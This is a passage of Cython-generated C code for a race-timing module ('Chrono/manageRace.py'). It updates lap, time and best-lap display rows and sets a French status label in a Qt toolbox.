(unlikely(!__pyx_t_9)) __PYX_ERR(0, 231, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_2 = PyObject_GetItem(__pyx_t_9, __pyx_n_u_White); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 231, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_cols); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 231, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_7 = PyObject_GetItem(__pyx_t_9, __pyx_n_u_laps); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 231, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetItemInt(__pyx_t_7, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 231, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_lapcount); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 231, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = PyUnicode_Format(__pyx_kp_u_3_3d, __pyx_t_7); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 231, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __pyx_pf_6Chrono_10manageRace_10manageRace_6update_setLine(__pyx_v_setLine, __pyx_t_2, __pyx_v_row, __pyx_t_9, __pyx_t_1, Py_None); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 231, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } __pyx_L29:; /* "Chrono/manageRace.py":232 * else: * setLine( colors["White"], row, cols["laps"][0], "%3.3d"%tt["lapcount"], None) * setLine( colors["White"], row, cols["time"][0], createTime(tt["remticks"])) # <<<<<<<<<<<<<< * if tt["lapcount"] >= 0: * if tt["lapcount"] >0 and tt["lastlap"] <= self.bestLap: */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = PyObject_GetItem(__pyx_t_7, __pyx_n_u_White); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_cols); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = PyObject_GetItem(__pyx_t_7, __pyx_n_u_time); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_GetItemInt(__pyx_t_9, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_createTime); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_remticks); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_6) { __pyx_t_9 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_9); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_5}; __pyx_t_9 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_5}; __pyx_t_9 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_8 = PyTuple_New(1+1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_8, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_8, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyTuple_New(4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1); __Pyx_INCREF(__pyx_v_row); __Pyx_GIVEREF(__pyx_v_row); PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_v_row); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_t_7); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_2, 3, __pyx_t_9); __pyx_t_1 = 0; __pyx_t_7 = 0; __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_Call(__pyx_v_setLine, __pyx_t_2, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 232, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; /* "Chrono/manageRace.py":233 * setLine( colors["White"], row, cols["laps"][0], "%3.3d"%tt["lapcount"], None) * setLine( colors["White"], row, cols["time"][0], createTime(tt["remticks"])) * if tt["lapcount"] >= 0: # <<<<<<<<<<<<<< * if tt["lapcount"] >0 and tt["lastlap"] <= self.bestLap: * setLine( colors["Violet"], row, cols["last"][0], createTime(tt["lastlap"])) */ __pyx_t_9 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_lapcount); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 233, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_2 = PyObject_RichCompare(__pyx_t_9, __pyx_int_0, Py_GE); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 233, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_13 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely(__pyx_t_13 < 0)) __PYX_ERR(0, 233, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_13) { /* "Chrono/manageRace.py":234 * setLine( colors["White"], row, cols["time"][0], createTime(tt["remticks"])) * if tt["lapcount"] >= 0: * if tt["lapcount"] >0 and tt["lastlap"] <= self.bestLap: # <<<<<<<<<<<<<< * setLine( colors["Violet"], row, cols["last"][0], createTime(tt["lastlap"])) * if tt["lastlap"] < self.bestLap: */ __pyx_t_2 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_lapcount); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 234, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_9 = PyObject_RichCompare(__pyx_t_2, __pyx_int_0, Py_GT); __Pyx_XGOTREF(__pyx_t_9); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 234, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_9); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 234, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; if (__pyx_t_4) { } else { __pyx_t_13 = __pyx_t_4; goto __pyx_L32_bool_binop_done; } __pyx_t_9 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_lastlap); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 234, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_bestLap); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 234, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_7 = PyObject_RichCompare(__pyx_t_9, __pyx_t_2, Py_LE); __Pyx_XGOTREF(__pyx_t_7); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 234, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_7); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 234, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_13 = __pyx_t_4; __pyx_L32_bool_binop_done:; if (__pyx_t_13) { /* "Chrono/manageRace.py":235 * if tt["lapcount"] >= 0: * if tt["lapcount"] >0 and tt["lastlap"] <= self.bestLap: * setLine( colors["Violet"], row, cols["last"][0], createTime(tt["lastlap"])) # <<<<<<<<<<<<<< * if tt["lastlap"] < self.bestLap: * self.bestLap = tt["lastlap"] */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 235, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = PyObject_GetItem(__pyx_t_7, __pyx_n_u_Violet); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 235, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_cols); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 235, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = PyObject_GetItem(__pyx_t_7, __pyx_n_u_last); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 235, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_GetItemInt(__pyx_t_9, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 235, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_createTime); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 235, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_8 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_lastlap); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 235, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_5) { __pyx_t_9 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 235, __pyx_L1_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_9); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_8}; __pyx_t_9 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 235, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_8}; __pyx_t_9 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 235, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 235, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_8); __pyx_t_8 = 0; __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_6, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 235, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = PyTuple_New(4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 235, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_2); __Pyx_INCREF(__pyx_v_row); __Pyx_GIVEREF(__pyx_v_row); PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_v_row); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_t_7); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_1, 3, __pyx_t_9); __pyx_t_2 = 0; __pyx_t_7 = 0; __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_Call(__pyx_v_setLine, __pyx_t_1, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 235, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; /* "Chrono/manageRace.py":236 * if tt["lapcount"] >0 and tt["lastlap"] <= self.bestLap: * setLine( colors["Violet"], row, cols["last"][0], createTime(tt["lastlap"])) * if tt["lastlap"] < self.bestLap: # <<<<<<<<<<<<<< * self.bestLap = tt["lastlap"] * self.bestLapTb = tt */ __pyx_t_9 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_lastlap); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 236, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_bestLap); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 236, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = PyObject_RichCompare(__pyx_t_9, __pyx_t_1, Py_LT); __Pyx_XGOTREF(__pyx_t_7); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 236, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_13 = __Pyx_PyObject_IsTrue(__pyx_t_7); if (unlikely(__pyx_t_13 < 0)) __PYX_ERR(0, 236, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; if (__pyx_t_13) { /* "Chrono/manageRace.py":237 * setLine( colors["Violet"], row, cols["last"][0], createTime(tt["lastlap"])) * if tt["lastlap"] < self.bestLap: * self.bestLap = tt["lastlap"] # <<<<<<<<<<<<<< * self.bestLapTb = tt * Globals.MainWindow.toolBox.setItemText( */ __pyx_t_7 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_lastlap); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_bestLap, __pyx_t_7) < 0) __PYX_ERR(0, 237, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Chrono/manageRace.py":238 * if tt["lastlap"] < self.bestLap: * self.bestLap = tt["lastlap"] * self.bestLapTb = tt # <<<<<<<<<<<<<< * Globals.MainWindow.toolBox.setItemText( * Globals.MainWindow.toolBox.indexOf( */ if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_bestLapTb, __pyx_v_tt) < 0) __PYX_ERR(0, 238, __pyx_L1_error) /* "Chrono/manageRace.py":239 * self.bestLap = tt["lastlap"] * self.bestLapTb = tt * Globals.MainWindow.toolBox.setItemText( # <<<<<<<<<<<<<< * Globals.MainWindow.toolBox.indexOf( * Globals.MainWindow.P_Race), */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 239, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 239, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_toolBox); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 239, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setItemText); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 239, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":240 * self.bestLapTb = tt * Globals.MainWindow.toolBox.setItemText( * Globals.MainWindow.toolBox.indexOf( # <<<<<<<<<<<<<< * Globals.MainWindow.P_Race), * QCoreApplication.translate("MainWindow", "Course, Meilleur tour: %s => %d, %s dans le tour: %d")% */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 240, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 240, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_toolBox); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 240, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_indexOf); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 240, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":241 * Globals.MainWindow.toolBox.setItemText( * Globals.MainWindow.toolBox.indexOf( * Globals.MainWindow.P_Race), # <<<<<<<<<<<<<< * QCoreApplication.translate("MainWindow", "Course, Meilleur tour: %s => %d, %s dans le tour: %d")% * ( createTime(self.bestLap), */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 241, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 241, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_P_Race); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 241, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_8)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_8); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_8) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 240, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_8, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 240, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_8, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 240, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 240, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_8); __pyx_t_8 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 240, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Chrono/manageRace.py":242 * Globals.MainWindow.toolBox.indexOf( * Globals.MainWindow.P_Race), * QCoreApplication.translate("MainWindow", "Course, Meilleur tour: %s => %d, %s dans le tour: %d")% # <<<<<<<<<<<<<< * ( createTime(self.bestLap), * tt["ridernum"], tt["ridername"], */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QCoreApplication); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 242, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_translate); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 242, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__28, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 242, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; /* "Chrono/manageRace.py":243 * Globals.MainWindow.P_Race), * QCoreApplication.translate("MainWindow", "Course, Meilleur tour: %s => %d, %s dans le tour: %d")% * ( createTime(self.bestLap), # <<<<<<<<<<<<<< * tt["ridernum"], tt["ridername"], * tt["lapcount"] ) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_createTime); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 243, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_bestLap); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 243, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_25 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_25 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_25)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_25); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_25) { __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_8); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 243, __pyx_L1_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_5); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_25, __pyx_t_8}; __pyx_t_5 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 243, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_25); __pyx_t_25 = 0; __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_25, __pyx_t_8}; __pyx_t_5 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 243, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_25); __pyx_t_25 = 0; __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif { __pyx_t_26 = PyTuple_New(1+1); if (unlikely(!__pyx_t_26)) __PYX_ERR(0, 243, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_26); __Pyx_GIVEREF(__pyx_t_25); PyTuple_SET_ITEM(__pyx_t_26, 0, __pyx_t_25); __pyx_t_25 = NULL; 